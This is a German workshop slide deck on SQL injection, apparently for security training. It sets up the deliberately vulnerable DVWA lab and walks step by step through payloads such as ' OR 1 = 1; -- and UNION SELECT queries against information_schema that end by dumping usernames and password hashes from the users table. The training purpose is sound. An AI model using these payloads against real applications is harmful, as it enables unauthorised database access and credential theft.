

# Workshop - Security in Datenbanken

SQL-Injection

Tom Gries



Dokumenten URL:

<http://docs.tx7.de/TT-SQL>

Autor:

Tom Gries <TT-SQL@tx7.de>  
@tomo@chaos.social

Lizenz:

Creative Commons BY-NC-ND

Version:

7.3.0 vom 22.07.2025



# Legal Disclaimer - Hackerparagraf

Die hier vorgestellten Methoden und Tools dienen zum Schutz der eigenen Systeme. Das Knacken fremder Passwörter ebenso wie das Eindringen in Systeme kann eine Straftat darstellen. Die vorgestellten Tools können unter den Hackerparagrafen 202c StGB fallen. Entsprechend dürfen Sie nur auf eigene Kennwörter oder Testsysteme losgehen, beziehungsweise sich schriftlich die Erlaubnis des Systembesitzers einholen.

Zudem können Cracking-Tools die getesteten Systeme stark beeinträchtigen oder außer Funktion setzen. Entsprechend vorsichtig sollten Sie bei Produktivsystemen sein.

# Was Du für diesen Workshop brauchst

Für diesen Workshop ist ein Computer im Internet mit virtuellen Systemen (Debian, Kali Linux) vorbereitet. Daher brauchst Du nur einen Rechner mit Internetzugang und einen aktuellen Browser (Firefox, Chrome, Edge, Safari). Die komplette Bedienung erfolgt über die Ports 80 und 443.

Es gibt keine besonderen Anforderungen an das Betriebssystem (Windows, Linux, Mac OS). Allerdings musst Du Dich etwas mit Linux, der Bash und Kali Tools auskennen.



# Damn Vulnerable Web Application





# Was ist DVWA?

Damn Vulnerable Web Application (DVWA) ist eine extra unsichere Webanwendung. Sie ist ideal für den Einstieg ins Penetrationtesting, für Schulungen oder für CTFs. Schwachstellen in DVWA sind unter anderem SQL Injection, XSS, CSRF, File Inclusion etc. Start mittels Docker:

```
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
# oder
docker run --rm -p 8080:80 vulnerables/web-dvwa
```

Der Aufruf erfolgt dann durch einen Browser mit <http://localhost:8080>



# Damn Vulnerable Web Application

Nach dem ersten Aufruf muss die Datenbank initialisiert werden. Dazu einfach auf "Create / Reset Database" klicken und nochmal anmelden.

Create / Reset Database

**Setup DVWA**

**Instructions**

**About**

## Database Setup

Click on the 'Create / Reset Database' button below to create or reset your database.  
If you get an error make sure you have the correct user credentials in: `/var/www/html/config/config.inc.php`

If the database already exists, **it will be cleared and the data will be reset.**  
You can also use this to reset the administrator credentials ("**admin** // **password**") at any stage.

### Setup Check

Operating system: `*nix`  
Backend database: `MySQL`  
PHP version: `7.0.30-0+deb9u1`

Web Server `SERVER_NAME: localhost`

PHP function `display_errors`: **Disabled**  
PHP function `safe_mode`: **Disabled**  
PHP function `allow_url_include`: **Disabled**  
PHP function `allow_url_fopen`: **Enabled**  
PHP function `magic_quotes_gpc`: **Disabled**  
PHP module `gd`: **Installed**  
PHP module `mysql`: **Installed**  
PHP module `pdo_mysql`: **Installed**

MySQL username: `app`  
MySQL password: `*****`  
MySQL database: `dvwa`  
MySQL host: `127.0.0.1`

reCAPTCHA key: **Missing**

[User: www-data] Writable folder `/var/www/html/hackable/uploads/`: **Yes**  
[User: www-data] Writable file `/var/www/html/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt`: **Yes**

[User: www-data] Writable folder `/var/www/html/config/`: **Yes**  
**Status in red**, indicate there will be an issue when trying to complete some modules.

If you see disabled on either `allow_url_fopen` or `allow_url_include`, set the following in your `php.ini` file and restart Apache.

`allow_url_fopen = On`  
`allow_url_include = On`

These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.

**Create / Reset Database**

First time using DVWA,  
Need to run 'setup.php'.

Damn Vulnerable Web Application (DVWA) v1.10 "Development"



# Damn Vulnerable Web Application

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Welcome to Damn Vulnerable Web Application

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable! Its goal is to be an **easy** security professionals to test their skills and tools in a legal environment, help developers **learn** and understand the processes of securing web applications and to aid both students & learn about web application security in a controlled class room environment.

The aim of DVWA is to **practice some of the most common web vulnerabilities**, with various levels of difficulty, with a simple straightforward interface.

### General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level selecting any module and working up to reach the highest level they can before moving onto the next. It is not a fixed object to complete a module; however users should feel that they have successfully exploited a system as best as they possible could by using that particular vulnerability.

Please note, there are **both documented and undocumented vulnerabilities** with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to increase the difficulty. This will demonstrate how adding another layer of security may block certain actions. Note, there are also various public methods at bypassing these protections (so this can be an extension for more advanced users!)

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

### WARNING!

Damn Vulnerable Web Application is damn vulnerable! **Do not upload it to your hosting provider or any Internet facing servers**, as they will be compromised. It is recommended using a machine such as **VirtualBox** or **VMware**, which is set to NAT networking mode. Inside a guest machine you can download and install **XAMPP** for the web server and database.

### Disclaimer

We do not take responsibility for the way in which anyone uses this application (DVWA). We have no purpose of the application and it should not be used maliciously. We have given warnings and measures to prevent users from installing DVWA on to live web servers. If your web server is compromised by installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded it.

### More Training Resources

DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However, there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors or more difficult challenges, you may wish to look into the following other projects:

- [bWAPP](#)
- [NOWASP](#) (formerly known as [Mutillidae](#))
- [OWASP Broken Web Applications Project](#)

You have logged in as 'admin'

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.10 "Development"

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

[TOM GRIES]

[7]

# Your Mission

<http://<deine-id>.tx7.de/>

---

DVWA ist bereits gestartet. Wenn nicht, starte es mit `./startDockerDVWA`. Rufe DVWA mit `http://<deine-id>.tx7.de` auf, zum Beispiel mit <http://tx-100.tx7.de>. Falls ein Popup erscheint gebe deine persönlichen Zugangsdaten ein. Bei DVWA "**admin**" und "**password**". Prüfe, ob Security Level "**low**" ausgewählt ist.

Wähle "SQL Injection" aus und versuche:

- alle User in der Datenbank zu finden
  - die Passwörter oder Passworthashe zu finden
-



**EINE Möglichkeit, die Aufgabe zu lösen**



Eins der bekanntesten Wörterbücher - RockYou - ist durch eine SQL-Injection hervorgegangen. Es wurden über 14 Millionen Passwörter von 32 Millionen Accounts aufgedeckt. Das Prekäre daran: Die Passwörter waren im **Klartext** in der DB abgelegt und die Angreifer nutzten eine **10 Jahre alte SQL-Schwachstelle**. Die Passwörter enthielten auch keine Sonderzeichen - dies war von RockYou nicht zugelassen.

Ein einfacher Test in einem Formularfeld einer SQL Datenbank:



```
' OR 1 = 1; --
```

Achtung: Leerzeichen nach --



# SQL-Injection - Demo mit DVWA

Normale Verwendung Testen:

1

Hochkomma, um auf mögliche SQL-Injection zu Testen:

'

Einfache SQL-Injection Testen:

' OR 1 = 1; --

Da in ID unser Statement wiederholt wird, sind "First name" und "Surname" vermutlich die Felder in der DB. Allerdings werden sie anders heißen - das und den Namen der Datenbank und Tabelle müssen wir herausbekommen. Wir können im Moment daher davon ausgehen, dass das hinterlegte SQL-Statement ungefähr wie folgt aussieht:

```
SELECT <First name>, <Surname> FROM <UserTable>  
WHERE 'ID'='<Eingabefeld>';
```



# SQL-Injection - Demo mit DVWA

Mit einem UNION SELECT die Anzahl der Spalten ermitteln. Wir testen zunächst auf 2:

```
' UNION SELECT null, null FROM information_schema.tables; --
```

Mit der ermittelten Anzahl von Feldern den Namen der Datenbank und der Tabellen ermitteln:

```
' UNION SELECT table_schema, table_name FROM information_schema.tables  
WHERE table_schema = database(); --
```

Spaltennamen und Position in der Tabelle "dvwa.users" ermitteln:

```
' UNION SELECT column_name, ordinal_position FROM information_schema.columns  
WHERE table_schema = 'dvwa' AND table_name = 'users'; --
```

Daraus lässt sich jetzt das folgende Statement ableiten und die finale UNION SELECT Abfrage bilden:

```
SELECT first_name, last_name FROM dvwa.users WHERE 'ID'=' ' UNION  
SELECT user, password FROM dvwa.users; -- ;
```

**Anmerkungen oder Fragen?**